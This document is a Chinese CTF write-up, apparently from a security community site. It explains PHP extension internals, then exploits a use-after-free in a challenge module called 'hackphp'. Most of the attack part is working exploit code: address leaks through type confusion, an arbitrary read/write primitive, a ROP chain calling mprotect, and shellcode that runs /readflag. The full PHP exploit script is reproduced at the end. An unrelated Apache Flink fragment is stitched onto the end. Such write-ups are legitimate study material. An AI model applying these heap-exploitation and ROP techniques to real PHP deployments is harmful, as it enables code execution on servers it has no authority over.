#ifdef HAVE_CONFIG_H
# include "config.h"
#endif
#include "php.h"
#include "ext/standard/info.h"
#include "php_helloword.h"
/* For compatibility with older PHP versions */
#ifndef ZEND_PARSE_PARAMETERS_NONE
#define ZEND_PARSE_PARAMETERS_NONE() \
ZEND_PARSE_PARAMETERS_START(0, 0) \
ZEND_PARSE_PARAMETERS_END()
#endif
/* {{{ void helloword_test1()
*/
PHP_FUNCTION(helloword_test1)
{
ZEND_PARSE_PARAMETERS_NONE();
php_printf("The extension %s is loaded and working!\r\n", "helloword");
}
/* }}} */
/* {{{ string helloword_test2( [ string $var ] )
*/
PHP_FUNCTION(helloword_test2)
{
char *var = "World";
size_t var_len = sizeof("World") - 1;
zend_string *retval;
ZEND_PARSE_PARAMETERS_START(0, 1)
Z_PARAM_OPTIONAL
Z_PARAM_STRING(var, var_len)
ZEND_PARSE_PARAMETERS_END();
retval = strpprintf(0, "Hello %s", var);
RETURN_STR(retval);
}
/* }}}*/
/* {{{ PHP_RINIT_FUNCTION
*/
PHP_RINIT_FUNCTION(helloword)
{
#if defined(ZTS) && defined(COMPILE_DL_HELLOWORD)
ZEND_TSRMLS_CACHE_UPDATE();
#endif
return SUCCESS;
}
/* }}} */
/* {{{ PHP_MINFO_FUNCTION
*/
PHP_MINFO_FUNCTION(helloword)
{
php_info_print_table_start();
php_info_print_table_header(2, "helloword support", "enabled");
php_info_print_table_end();
}
/* }}} */
/* {{{ arginfo
*/
ZEND_BEGIN_ARG_INFO(arginfo_helloword_test1, 0)
ZEND_END_ARG_INFO()
ZEND_BEGIN_ARG_INFO(arginfo_helloword_test2, 0)
ZEND_ARG_INFO(0, str)
ZEND_END_ARG_INFO()
/* }}} */
/* {{{ helloword_functions[]
*/
static const zend_function_entry helloword_functions[] = {
PHP_FE(helloword_test1, arginfo_helloword_test1)
PHP_FE(helloword_test2, arginfo_helloword_test2)
PHP_FE_END
};
/* }}} */
/* {{{ helloword_module_entry
*/
zend_module_entry helloword_module_entry = {
STANDARD_MODULE_HEADER,
"helloword", /* Extension name */
helloword_functions, /* zend_function_entry */
NULL, /* PHP_MINIT - Module initialization */
NULL, /* PHP_MSHUTDOWN - Module shutdown */
PHP_RINIT(helloword), /* PHP_RINIT - Request initialization */
NULL, /* PHP_RSHUTDOWN - Request shutdown */
PHP_MINFO(helloword), /* PHP_MINFO - Module info */
PHP_HELLOWORD_VERSION, /* Version */
STANDARD_MODULE_PROPERTIES
};
/* }}} */
#ifdef COMPILE_DL_HELLOWORD
# ifdef ZTS
ZEND_TSRMLS_CACHE_DEFINE()
# endif
ZEND_GET_MODULE(helloword)
#endif
其中由`PHP_FUNCTION`宏修饰的函数代表该函数可以直接在php中进行调用，由`PHP_RINIT_FUNCTION`修饰的函数将在一个新请求到来时被调用，其描述如下
> 当一个页面请求到来时候，PHP 会迅速开辟一个新的环境，并重新扫描自己的各个扩展，遍历执行它们各自的RINIT 方法(俗称 Request
> Initialization)，这时候一个扩展可能会初始化在本次请求中会使用到的变量等， 还会初始化用户端（即 PHP 脚本）中的变量之类的，内核预置了
> PHP_RINIT_FUNCTION() 这个宏函数来帮我们实现这个功能
由`PHP_MINIT_FUNCTION` 修饰的函数将在初始化module时运行。最终将需要在php中调用的函数指针写到一个统一的数组中。
static const zend_function_entry helloword_functions[] = {
PHP_FE(helloword_test1, arginfo_helloword_test1)
PHP_FE(helloword_test2, arginfo_helloword_test2)
PHP_FE_END
};
然后由`zend_module_entry helloword_module_entry`进行注册，该结构体记录了整个模块需要提供的一些信息。
zend_module_entry helloword_module_entry = {
STANDARD_MODULE_HEADER,
"helloword", /* Extension name */
helloword_functions, /* zend_function_entry */
NULL, /* PHP_MINIT - Module initialization */
NULL, /* PHP_MSHUTDOWN - Module shutdown */
PHP_RINIT(helloword), /* PHP_RINIT - Request initialization */
NULL, /* PHP_RSHUTDOWN - Request shutdown */
PHP_MINFO(helloword), /* PHP_MINFO - Module info */
PHP_HELLOWORD_VERSION, /* Version */
STANDARD_MODULE_PROPERTIES
};
### 传参
在函数里，由`ZEND_PARSE_PARAMETERS_NONE()`修饰的代表无参数；而`ZEND_PARSE_PARAMETERS_START`规定了参数的个数，其定义如下
#define ZEND_PARSE_PARAMETERS_START(min_num_args, max_num_args) ZEND_PARSE_PARAMETERS_START_EX(0, min_num_args, max_num_args)
而`Z_PARAM_OPTIONAL`代表参数可有可无，不是必须；`Z_PARAM_STRING(var,
var_len)`代表该参数是字符串对象，并且将其内容地址和长度分别赋值给var和var_len。
还有很多类型，如下表：
specifier Fast ZPP API macro args
| Z_PARAM_OPTIONAL
a Z_PARAM_ARRAY(dest) dest - zval*
A Z_PARAM_ARRAY_OR_OBJECT(dest) dest - zval*
b Z_PARAM_BOOL(dest) dest - zend_bool
C Z_PARAM_CLASS(dest) dest - zend_class_entry*
d Z_PARAM_DOUBLE(dest) dest - double
f Z_PARAM_FUNC(fci, fcc) fci - zend_fcall_info, fcc - zend_fcall_info_cache
h Z_PARAM_ARRAY_HT(dest) dest - HashTable*
H Z_PARAM_ARRAY_OR_OBJECT_HT(dest) dest - HashTable*
l Z_PARAM_LONG(dest) dest - long
L Z_PARAM_STRICT_LONG(dest) dest - long
o Z_PARAM_OBJECT(dest) dest - zval*
O Z_PARAM_OBJECT_OF_CLASS(dest, ce) dest - zval*
p Z_PARAM_PATH(dest, dest_len) dest - char*, dest_len - int
P Z_PARAM_PATH_STR(dest) dest - zend_string*
r Z_PARAM_RESOURCE(dest) dest - zval*
s Z_PARAM_STRING(dest, dest_len) dest - char*, dest_len - int
S Z_PARAM_STR(dest) dest - zend_string*
z Z_PARAM_ZVAL(dest) dest - zval*
Z_PARAM_ZVAL_DEREF(dest) dest - zval*
+ Z_PARAM_VARIADIC('+', dest, num) dest - zval*, num int
* Z_PARAM_VARIADIC('*', dest, num) dest - zval*, num int
### 测试
编译以后得到了模块
root@ubuntu:/home/sea/Desktop/php-src/ext/helloword/modules# ls
helloword.la helloword.so
安装该模块
cp helloword.so /usr/local/lib/php/extensions/no-debug-non-zts-20190902
php.ini里添加
extension=helloword.so
测试程序如下
<?php
helloword_test1();
helloword_test2("aaa");
?>
运行结果
root@ubuntu:/home/sea/Desktop/php-src/ext/helloword/modules# php 1.php
The extension helloword is loaded and working!
可以看到模块成功被调用，并且在php中的调用十分方便，当成普通函数调用就可以了。
## 0x02 PHP模块逆向分析
将helloword.so模块用IDA打开分析
定位到函数表，可以发现供我们在php里调用的函数有两个，且这些函数名都以`zif`开头
进入`zif_helloword_test2`函数，可以看到，宏都被展开了，前面是对参数个数的判断，后面则是对变量进行赋值。
至此，对php模块，我们已经有了大致的了解。
## 0x03 hackphp
### 漏洞分析
首先用IDA分析，找到`zif`开头的函数
因此，在php中我们能调用该模块中的4个函数，分别为
hackphp_create
hackphp_delete
hackphp_edit
hackphp_get
hackphp_create函数接收一个整型参数，其功能是可以调用`_emalloc`创建一个堆，这里存在一个UAF漏洞，就是当`0<=size<256或者size>512`时不会直接`return`，会执行到`efree`将申请的堆给释放掉，然后其指针仍然保留给了`buf`全局变量。
hackphp_delete函数无参数，其功能是将buf指向的堆efree掉，并清空buf指针
hackphp_edit函数接收一个字符串参数，并将其内容写入到buf里，这里注意的是，php里传入的字符串，即使其字符串中存在`\x00`，其length也不是以该字符截断的，该字符串对象的length成员表示其内容的`字节数`，并且在hackphp_edit函数中，使用了`memcpy`而不是`strncpy`这意味着hackphp_edit不会因为字符串中存在`\0`而截断，因此，我们可以用该函数进行字节编辑。
hackphp_get函数用于显示`buf`的内容，由于使用的是`zend_strpprintf(0LL,"%s",
buf)`因此会受到`\0`字符的截断。
漏洞分析完了，该模块存在一个UAF，但是由于使用的是`emalloc/efree`不能像glibc的`ptmalloc`那样进行花式利用，我们可以利用`double
free`，因为通过测试，`double
free`不会报错，并且重新申请两次时都可以申请到此处，因此我们可以考虑让两个php对象同时占位于此，达到`类型混淆`的目的。
### 漏洞利用分析
我们可以将`DateInterval`对象占位于此。为了确定该对象的结构大小，我们使用如下代码测试，其中`$str =
fread(STDIN,1000);`起到阻塞的效果。
<?php
$str = fread(STDIN,1000);
$dv = new DateInterval('P1Y');
$str = fread(STDIN,1000);
?>
运行该程序`php 1.php`,然后另外开一个窗口，用gdb进行attach调试。给emalloc函数下断点
pwndbg> b _emalloc
Breakpoint 1 at 0x55ea1e726970: file /home/sea/Desktop/php-src/Zend/zend_alloc.c, line 2533.
然后继续运行,程序断下后，发现此时size为`56`
继续运行，发现不止一次下断，我们记录下每一次下断后emalloc返回的地址，最终发现第一次`emalloc(56)`的堆里有许多有用的数据。
RAX 0x7f5e332551c0 —▸ 0x7f5e332551f8 —▸ 0x7f5e33255230 —▸ 0x7f5e33255268 —▸ 0x7f5e332552a0 ◂— ...
*RBX 0x7f5e332551c0 —▸ 0x7f5e332551f8 —▸ 0x7f5e33255230 —▸ 0x7f5e33255268 —▸ 0x7f5e332552a0 ◂— ...
RCX 0x7f5e332551f8 —▸ 0x7f5e33255230 —▸ 0x7f5e33255268 —▸ 0x7f5e332552a0 —▸ 0x7f5e332552d8 ◂— ...
RDX 0x7f5e33200070 —▸ 0x7f5e332010c0 —▸ 0x7f5e332010d8 —▸ 0x7f5e332010f0 —▸ 0x7f5e33201108 ◂— ...
RDI 0x7f5e33200040 ◂— 0x0
*RSI 0x5654177dbf50 ◂— 0x1
R8 0x7f5e33254440 ◂— 0x600000001
R9 0x7f5e33200000 —▸ 0x7f5e33200040 ◂— 0x0
R10 0x7f000
R11 0x246
*R12 0x7f5e332551d0 ◂— 0x0
R13 0x0
R14 0x7f5e33212020 —▸ 0x7f5e3328d0c0 —▸ 0x56541558b9fc (execute_ex+8732) ◂— endbr64
R15 0x7f5e3328d0c0 —▸ 0x56541558b9fc (execute_ex+8732) ◂— endbr64
RBP 0x5654177dbf50 ◂— 0x1
*RSP 0x7ffe15719fd0 —▸ 0x7f5e332120c0 ◂— 0x747468203b0a2e79 ('y.\n; htt')
*RIP 0x5654152b6512 (date_object_new_interval+66) ◂— movups xmmword ptr [rax], xmm0
──────────────────────────────────────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────────────────────────────────────
0x5654152b64fc <date_object_new_interval+44> pxor xmm0, xmm0
0x5654152b6500 <date_object_new_interval+48> mov rsi, rbp
0x5654152b6503 <date_object_new_interval+51> mov qword ptr [rax + 0x30], 0
0x5654152b650b <date_object_new_interval+59> lea r12, [rax + 0x10]
0x5654152b650f <date_object_new_interval+63> mov rbx, rax
► 0x5654152b6512 <date_object_new_interval+66> movups xmmword ptr [rax], xmm0
0x5654152b6515 <date_object_new_interval+69> mov rdi, r12
0x5654152b6518 <date_object_new_interval+72> movups xmmword ptr [rax + 0x10], xmm0
0x5654152b651c <date_object_new_interval+76> movups xmmword ptr [rax + 0x20], xmm0
0x5654152b6520 <date_object_new_interval+80> call zend_object_std_init <zend_object_std_init>
0x5654152b6525 <date_object_new_interval+85> mov rsi, rbp
───────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]───────────────────────────────────────────────────────────────────────────────
In file: /home/sea/Desktop/php-src/Zend/zend_objects_API.h
89 * Properties MUST be initialized using object_properties_init(). */
90 static zend_always_inline void *zend_object_alloc(size_t obj_size, zend_class_entry *ce) {
91 void *obj = emalloc(obj_size + zend_object_properties_size(ce));
92 /* Subtraction of sizeof(zval) is necessary, because zend_object_properties_size() may be
93 * -sizeof(zval), if the object has no properties. */
► 94 memset(obj, 0, obj_size - sizeof(zval));
95 return obj;
96 }
97
98 static inline zend_property_info *zend_get_property_info_for_slot(zend_object *obj, zval *slot)
99 {
───────────────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7ffe15719fd0 —▸ 0x7f5e332120c0 ◂— 0x747468203b0a2e79 ('y.\n; htt')
01:0008│ 0x7ffe15719fd8 —▸ 0x5654177dbf50 ◂— 0x1
02:0010│ 0x7ffe15719fe0 —▸ 0x7f5e33212120 ◂— 0x6f20676f4c20746e ('nt Log o')
03:0018│ 0x7ffe15719fe8 —▸ 0x56541550c9a9 (object_init_ex+57) ◂— mov dword ptr [rbx + 8], 0x308
04:0020│ 0x7ffe15719ff0 ◂— 0x0
05:0028│ 0x7ffe15719ff8 —▸ 0x7f5e33212190 ◂— 0x206f74203b0a6465 ('ed\n; to ')
06:0030│ 0x7ffe1571a000 —▸ 0x7f5e332120c0 ◂— 0x747468203b0a2e79 ('y.\n; htt')
07:0038│ 0x7ffe1571a008 —▸ 0x7f5e33212120 ◂— 0x6f20676f4c20746e ('nt Log o')
─────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────────────
► f 0 5654152b6512 date_object_new_interval+66
f 1 5654152b6512 date_object_new_interval+66
f 2 56541550c9a9 object_init_ex+57
f 3 56541550c9a9 object_init_ex+57
f 4 56541556f585 ZEND_NEW_SPEC_CONST_UNUSED_HANDLER+53
f 5 56541558ba05 execute_ex+8741
f 6 5654155932bd zend_execute+301
f 7 56541550ac3c zend_execute_scripts+204
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
如上，`0x7f5e332551c0`为`emalloc(56)`申请的堆，我们记下该地址，然后输入`c`继续运行，直到程序不再下断，也就是执行到php代码里的最后一句`$str
= fread(STDIN,1000);`时，此时`DateInterval`对象创建完成，我们查看该地址处的内容。
pwndbg> tel 0x7f5e332551c0
00:0000│ 0x7f5e332551c0 —▸ 0x7f5e3327e000 ◂— 0x1
01:0008│ 0x7f5e332551c8 ◂— 0x1
02:0010│ 0x7f5e332551d0 ◂— 0xc000041800000001
03:0018│ 0x7f5e332551d8 ◂— 0x1
04:0020│ 0x7f5e332551e0 —▸ 0x5654177dbf50 ◂— 0x1
05:0028│ 0x7f5e332551e8 —▸ 0x56541607a0a0 (date_object_handlers_interval) ◂— 0x10
06:0030│ 0x7f5e332551f0 ◂— 0x0
07:0038│ 0x7f5e332551f8 —▸ 0x7f5e33255230 —▸ 0x7f5e33255268 —▸ 0x7f5e332552a0 —▸ 0x7f5e332552d8 ◂— ...
pwndbg> tel 0x56541607a0a0
00:0000│ 0x56541607a0a0 (date_object_handlers_interval) ◂— 0x10
01:0008│ 0x56541607a0a8 (date_object_handlers_interval+8) —▸ 0x5654152b5790 (date_object_free_storage_interval) ◂— endbr64
02:0010│ 0x56541607a0b0 (date_object_handlers_interval+16) —▸ 0x56541553be40 (zend_objects_destroy_object) ◂— endbr64
03:0018│ 0x56541607a0b8 (date_object_handlers_interval+24) —▸ 0x5654152b6550 (date_object_clone_interval) ◂— endbr64
04:0020│ 0x56541607a0c0 (date_object_handlers_interval+32) —▸ 0x5654152b5aa0 (date_interval_read_property) ◂— endbr64
05:0028│ 0x56541607a0c8 (date_object_handlers_interval+40) —▸ 0x5654152b5e50 (date_interval_write_property) ◂— endbr64
06:0030│ 0x56541607a0d0 (date_object_handlers_interval+48) —▸ 0x56541553cba0 (zend_std_read_dimension) ◂— endbr64
07:0038│ 0x56541607a0d8 (date_object_handlers_interval+56) —▸ 0x56541553ce70 (zend_std_write_dimension) ◂— endbr64
pwndbg>
可以发现该对象内部存在一个虚表，虚表里有许多函数指针，因此，我们可以利用某些方法将这些数据读取出来，进而实现了地址泄露。假设我们将该对象占位于`hackphp`模块中的UAF堆里，用`hackphp_get`实现不了泄露，因为该函数遇到`\0`会截断。因此我们可以考虑在之前先构造一个`double
free`然后将`DateInterval`对象占位于此以后，将另外一个对象也占位于此，并且另外一个对象应该能够使用运算符`[]`，这样我们可以使用运算符`[]`来读取数据。一个可以考虑的对象是通过`str_repeat("a",n);`创建的字符串对象，至于不直接使用`array`是因为`array`对象有些复杂，而字符串对象相对来说要简单一些。首先，我们得确定`n`为多少，才能让其大小为`56`与`DateInterval`对象保持一致。
首先尝试`0x30`
<?php
$str = fread(STDIN,1000);
$dv = str_repeat("a",0x30);
$str = fread(STDIN,1000);
?>
仍然使用gdb进行调试，发现实际调用`emalloc`时，size为0x50
因此，如果我们要控制字符串对象的大小为56的话，n应该为0x18，也就是这样
$str = str_repeat("a",0x18);
RAX 0x7fe101a551c0 —▸ 0x7fe101a551f8 —▸ 0x7fe101a55230 —▸ 0x7fe101a55268 —▸ 0x7fe101a552a0 ◂— ...
In file: /home/sea/Desktop/php-src/Zend/zend_string.h
141
142 static zend_always_inline zend_string *zend_string_safe_alloc(size_t n, size_t m, size_t l, int persistent)
143 {
144 zend_string *ret = (zend_string *)safe_pemalloc(n, m, ZEND_MM_ALIGNED_SIZE(_ZSTR_STRUCT_SIZE(l)), persistent);
145
► 146 GC_SET_REFCOUNT(ret, 1);
147 GC_TYPE_INFO(ret) = IS_STRING | ((persistent ? IS_STR_PERSISTENT : 0) << GC_FLAGS_SHIFT);
148 ZSTR_H(ret) = 0;
149 ZSTR_LEN(ret) = (n * m) + l;
150 return ret;
151 }
记下其地址`0x7fe101a551c0`，然后继续运行，直到不再下断。
可以发现，字符串对象结构比较简单，0x18偏移处就是数据区长度，如果我们将其篡改，就可以实现越界读写。假设该对象也占位与`hackphp`模块的UAF堆中，那么我们就能利用该字符串对象对`DateInterval`对象内部的数据进行读写。
### 漏洞利用
于是，我们的php脚本这样写
//double free
hackphp_create(56);
hackphp_delete();
//$x and $dv now has same address
$x = str_repeat("D",0x18);
$dv = new DateInterval('P1Y');
$dv_vtable_addr = u64($x[0x10] . $x[0x11] . $x[0x12] . $x[0x13] . $x[0x14] . $x[0x15] . $x[0x16] . $x[0x17]);
echo sprintf("dv_vatble=0x%lx",$dv_vtable_addr);
echo "\n";
$dv_self_obj_addr = u64($x[0x20] . $x[0x21] . $x[0x22] . $x[0x23] . $x[0x24] . $x[0x25] . $x[0x26] . $x[0x27]) - 0x70;
echo sprintf("dv_self_obj_addr=0x%lx",$dv_self_obj_addr);
echo "\n";
通过上面的脚本，我们已经得到`vtable`的地址以及该对象自身的地址。接下来，我们重新创建一个堆，然后将一个新的字符串对象占位，通过UAF修改字符串的length成员，从而该字符串对象将具有任意地址读写的能力。
hackphp_create(0x60);
$oob = str_repeat("D",0x40);
hackphp_edit("\x01\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff/readflag\x00");
$oob_self_obj_addr = u64($oob[0x48] . $oob[0x49] . $oob[0x4a] . $oob[0x4b] . $oob[0x4c] . $oob[0x4d] . $oob[0x4e] . $oob[0x4f]) - 0xC0;
echo sprintf("oob_self_obj_addr=0x%lx",$oob_self_obj_addr);
echo "\n";
$offset = $dv_vtable_addr + 0x8 - ($oob_self_obj_addr + 0x18);
function read64($oob,$addr) {
/*if ($addr < 0) {
$addr = 0x10000000000000000 + $addr;
}*/
return u64($oob[$addr+0x0] . $oob[$addr+0x1] . $oob[$addr+0x2] . $oob[$addr+0x3] . $oob[$addr+0x4] . $oob[$addr+0x5] . $oob[$addr+0x6] . $oob[$addr+0x7]);
}
echo sprintf("offset=0x%lx",$offset);
接下来，就可以泄露虚表里的函数指针地址了，计算出php二进制程序的基址，然后泄露GOT表，计算libc地址，获得gadgets及一些函数的地址。
$date_object_free_storage_interval_addr = read64($oob,$offset+1);
echo sprintf("date_object_free_storage_interval_addr=0x%lx",$date_object_free_storage_interval_addr);
echo "\n";
$php_base = $date_object_free_storage_interval_addr - 0x23D790;
$strlen_got = $php_base + 0xFFEEB8;
$offset = $strlen_got - ($oob_self_obj_addr + 0x18) + 1;
$strlen_addr = read64($oob,$offset);
$libc_base = $strlen_addr - 0x18b660;
$pop_rdi = $libc_base + 0x0000000000026b72;
$pop_rsi = $libc_base + 0x0000000000026b70;
$pop_rdx = $libc_base + 0x0000000000162866;
$stack_ptr = $libc_base + 0x1ec440;
$offset = $stack_ptr - ($oob_self_obj_addr + 0x18);
$stack_addr = read64($oob,$offset);
$mprotect_addr = $libc_base + 0x11BB00;
echo sprintf("strlen_addr=0x%lx \n",$strlen_addr);
echo sprintf("libc_base=0x%lx \n",$libc_base);
echo sprintf("stack_addr=0x%lx \n",$stack_addr);
接下来就是如何劫持程序流了，由于具有了任意地址读写的能力，那么利用手法就是仁者见仁智者见智了。
然而当你调用`$oob[x]`进行写时，如果`x<=0`会发现报错
found!PHP Warning: Illegal string offset: 0 in /home/sea/Desktop/1.php on line 155
Warning: Illegal string offset: 0 in /home/sea/Desktop/1.php on line 155
通过分析源码
static zend_never_inline void zend_assign_to_string_offset(zval *str, zval *dim, zval *value, zval *result)
{
zend_string *old_str;
zend_uchar c;
size_t string_len;
zend_long offset;
if (UNEXPECTED(Z_TYPE_P(dim) != IS_LONG)) {
offset = zend_check_string_offset(dim/*, BP_VAR_W*/);
} else {
offset = Z_LVAL_P(dim);
}
if (offset < -(zend_long)Z_STRLEN_P(str)) {
/* Error on negative offset */
zend_error(E_WARNING, "Illegal string offset " ZEND_LONG_FMT, offset);
if (result) {
ZVAL_NULL(result);
}
return;
}
关键一句
if (offset < -(zend_long)Z_STRLEN_P(str))
因为这里，我们`length`修改为了`-1`，所以`Z_STRLEN_P(str)`返回的就是`-1`取反后就是1，也就是offset必须大于等于1，这意味着，我们只能向后进行任意地址写，当然，可以通过再次修改length为正数，绕过这个if检查。但是我没有这么做，因为栈地址位于最后，所以我可以直接向后找到栈地址，然后劫持栈。
为了确定栈ROP的位置，我使用了栈内存搜索，知道搜索到一个指定的返回地址结束。因为`php_execute_script`是执行php脚本的具体实现，所以，我们只需劫持该函数的返回地址，那么我们就需要在栈里搜索该地址，如果找到，就说明这个位置就是我们写ROP的地方了。
$ret_main_target = $php_base + 0x51d402;
//搜索ROP的地址
while (true) {
$data = read64($oob,$offset);
//echo sprintf("0x%lx",$hackphp_so_addr & 0xFFF);
//echo "\n";
if (intval($data) == intval($ret_main_target) ) {
echo "found!";
break;
}
$offset--;
}
然后就是写入ROP了，不知道为何，不能封装为函数，否则会写入失败。
for ($j=0;$j<8;$j++) {
$oob[$offset+$j] = chr($pop_rsi & 0xFF);
$pop_rsi = $pop_rsi >> 0x8;
}
$offset += 0x8;
$data = 0x1000;
for ($j=0;$j<8;$j++) {
$oob[$offset+$j] = chr($data & 0xFF);
$data = $data >> 0x8;
}
$offset += 0x10;
for ($j=0;$j<8;$j++) {
$oob[$offset+$j] = chr($pop_rdx & 0xFF);
$pop_rdx = $pop_rdx >> 0x8;
}
$offset += 0x8;
$data = 0x7;
for ($j=0;$j<8;$j++) {
$oob[$offset+$j] = chr($data & 0xFF);
$data = $data >> 0x8;
}
$offset += 0x10;
for ($j=0;$j<8;$j++) {
$oob[$offset+$j] = chr($pop_rdi & 0xFF);
$pop_rdi = $pop_rdi >> 0x8;
}
$offset += 8;
$stack_addr = $offset + ($oob_self_obj_addr + 0x18);
$data = $stack_addr ^ ($stack_addr & 0xfff);
for ($j=0;$j<8;$j++) {
$oob[$offset+$j] = chr($data & 0xFF);
$data = $data >> 0x8;
}
$offset += 8;
$data = $mprotect_addr;
for ($j=0;$j<8;$j++) {
$oob[$offset+$j] = chr($data & 0xFF);
$data = $data >> 0x8;
}
$offset += 8;
$data = $stack_addr+0x18;
for ($j=0;$j<8;$j++) {
$oob[$offset+$j] = chr($data & 0xFF);
$data = $data >> 0x8;
}
$stack_addr += 0x18;
$offset += 0x8;
$shellcode = "\x55\x48\x89\xE5\x48\x83\xEC\x30\x48\xB8\x2F\x72\x65\x61\x64\x66\x6C\x61\x48\x89\x45\xF0\x48\xC7\xC0\x67\x00\x00\x00\x48\x89\x45\xF8\x48\x8D\x7D\xF0\x48\xC7\xC6\x00\x00\x00\x00\x48\xC7\xC2\x00\x00\x00\x00\xB8\x3B\x00\x00\x00\x0F\x05";
$len = strlen($shellcode);
//写shellcode
for ($j=0;$j<$len;$j++) {
$oob[$offset+$j] = $shellcode[$j];
}
至此，就完成了漏洞利用。
### exp
<?php
function u64($val) {
$s = bin2hex($val);
$len = strlen($s);
$ans = "0x";
for ($i=$len-2;$i>=0;$i-=2) {
$ans = $ans . substr($s,$i,2);
}
return intval($ans,16);
}
function p32($val) {
$s = dechex($val);
$len = strlen($s);
$ans = "";
for ($i=$len-2;$i>=0;$i-=2) {
$ans = $ans . substr($s,$i,2);
}
return hex2bin($ans);
}
//double free
hackphp_create(56);
hackphp_delete();
//$x and $dv now has same address
$x = str_repeat("D",0x18);
$dv = new DateInterval('P1Y');
$dv_vtable_addr = u64($x[0x10] . $x[0x11] . $x[0x12] . $x[0x13] . $x[0x14] . $x[0x15] . $x[0x16] . $x[0x17]);
echo sprintf("dv_vatble=0x%lx",$dv_vtable_addr);
echo "\n";
$dv_self_obj_addr = u64($x[0x20] . $x[0x21] . $x[0x22] . $x[0x23] . $x[0x24] . $x[0x25] . $x[0x26] . $x[0x27]) - 0x70;
echo sprintf("dv_self_obj_addr=0x%lx",$dv_self_obj_addr);
echo "\n";
hackphp_create(0x60);
$oob = str_repeat("D",0x40);
hackphp_edit("\x01\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff/readflag\x00");
$oob_self_obj_addr = u64($oob[0x48] . $oob[0x49] . $oob[0x4a] . $oob[0x4b] . $oob[0x4c] . $oob[0x4d] . $oob[0x4e] . $oob[0x4f]) - 0xC0;
echo sprintf("oob_self_obj_addr=0x%lx",$oob_self_obj_addr);
echo "\n";
$offset = $dv_vtable_addr + 0x8 - ($oob_self_obj_addr + 0x18);
function read64($oob,$addr) {
/*if ($addr < 0) {
$addr = 0x10000000000000000 + $addr;
}*/
return u64($oob[$addr+0x0] . $oob[$addr+0x1] . $oob[$addr+0x2] . $oob[$addr+0x3] . $oob[$addr+0x4] . $oob[$addr+0x5] . $oob[$addr+0x6] . $oob[$addr+0x7]);
}
echo sprintf("offset=0x%lx",$offset);
echo "\n";
$date_object_free_storage_interval_addr = read64($oob,$offset+1);
echo sprintf("date_object_free_storage_interval_addr=0x%lx",$date_object_free_storage_interval_addr);
echo "\n";
$php_base = $date_object_free_storage_interval_addr - 0x23D790;
$strlen_got = $php_base + 0xFFEEB8;
$offset = $strlen_got - ($oob_self_obj_addr + 0x18) + 1;
$strlen_addr = read64($oob,$offset);
$libc_base = $strlen_addr - 0x18b660;
$pop_rdi = $libc_base + 0x0000000000026b72;
$pop_rsi = $libc_base + 0x0000000000026b70;
$pop_rdx = $libc_base + 0x0000000000162866;
$stack_ptr = $libc_base + 0x1ec440;
$offset = $stack_ptr - ($oob_self_obj_addr + 0x18);
$stack_addr = read64($oob,$offset);
$mprotect_addr = $libc_base + 0x11BB00;
echo sprintf("strlen_addr=0x%lx \n",$strlen_addr);
echo sprintf("libc_base=0x%lx \n",$libc_base);
echo sprintf("stack_addr=0x%lx \n",$stack_addr);
$offset = $stack_addr - ($oob_self_obj_addr + 0x18);
$ret_main_target = $php_base + 0x51d402;
//搜索ROP的地址
while (true) {
$data = read64($oob,$offset);
//echo sprintf("0x%lx",$hackphp_so_addr & 0xFFF);
//echo "\n";
if (intval($data) == intval($ret_main_target) ) {
echo "found!";
break;
}
$offset--;
}
for ($j=0;$j<8;$j++) {
$oob[$offset+$j] = chr($pop_rsi & 0xFF);
$pop_rsi = $pop_rsi >> 0x8;
}
$offset += 0x8;
$data = 0x1000;
for ($j=0;$j<8;$j++) {
$oob[$offset+$j] = chr($data & 0xFF);
$data = $data >> 0x8;
}
$offset += 0x10;
for ($j=0;$j<8;$j++) {
$oob[$offset+$j] = chr($pop_rdx & 0xFF);
$pop_rdx = $pop_rdx >> 0x8;
}
$offset += 0x8;
$data = 0x7;
for ($j=0;$j<8;$j++) {
$oob[$offset+$j] = chr($data & 0xFF);
$data = $data >> 0x8;
}
$offset += 0x10;
for ($j=0;$j<8;$j++) {
$oob[$offset+$j] = chr($pop_rdi & 0xFF);
$pop_rdi = $pop_rdi >> 0x8;
}
$offset += 8;
$stack_addr = $offset + ($oob_self_obj_addr + 0x18);
$data = $stack_addr ^ ($stack_addr & 0xfff);
for ($j=0;$j<8;$j++) {
$oob[$offset+$j] = chr($data & 0xFF);
$data = $data >> 0x8;
}
$offset += 8;
$data = $mprotect_addr;
for ($j=0;$j<8;$j++) {
$oob[$offset+$j] = chr($data & 0xFF);
$data = $data >> 0x8;
}
$offset += 8;
$data = $stack_addr+0x18;
for ($j=0;$j<8;$j++) {
$oob[$offset+$j] = chr($data & 0xFF);
$data = $data >> 0x8;
}
$stack_addr += 0x18;
$offset += 0x8;
$shellcode = "\x55\x48\x89\xE5\x48\x83\xEC\x30\x48\xB8\x2F\x72\x65\x61\x64\x66\x6C\x61\x48\x89\x45\xF0\x48\xC7\xC0\x67\x00\x00\x00\x48\x89\x45\xF8\x48\x8D\x7D\xF0\x48\xC7\xC6\x00\x00\x00\x00\x48\xC7\xC2\x00\x00\x00\x00\xB8\x3B\x00\x00\x00\x0F\x05";
$len = strlen($shellcode);
//写shellcode
for ($j=0;$j<$len;$j++) {
$oob[$offset+$j] = $shellcode[$j];
}
?>
## 0x04 感想
第一次接触WEB PWN，突然觉得php语言的模块功能好灵活方便，WEB PWN也挺有趣。
## 0x05 参考链接
[ PHP 内核与扩展开发系列] PHP 生命周期 ——
启动、终止与模式](https://laravelacademy.org/post/7152.html)
[PHP扩展之PHP的启动和停止](https://www.ligphp.com/post/75.html)
[php7扩展开发 一 获取参数](https://www.cnblogs.com/dearmrli/p/6553542.html)
[php-src](https://github.com/php/php-src/blob/ef5164818576d75929834d9f0c15cdfc095f7139/ext/opcache/jit/zend_jit_helpers.c)
[PHP7 Memory
Exploitation](https://paper.seebug.org/papers/Security%20Conf/Hitcon/Hitcon-2016/1201%20R2%201500%20exploiting%20php7.pdf) | 社区文章 |
### 简介 Apache Flink
参考官方文档 <https://flink.apache.org/>
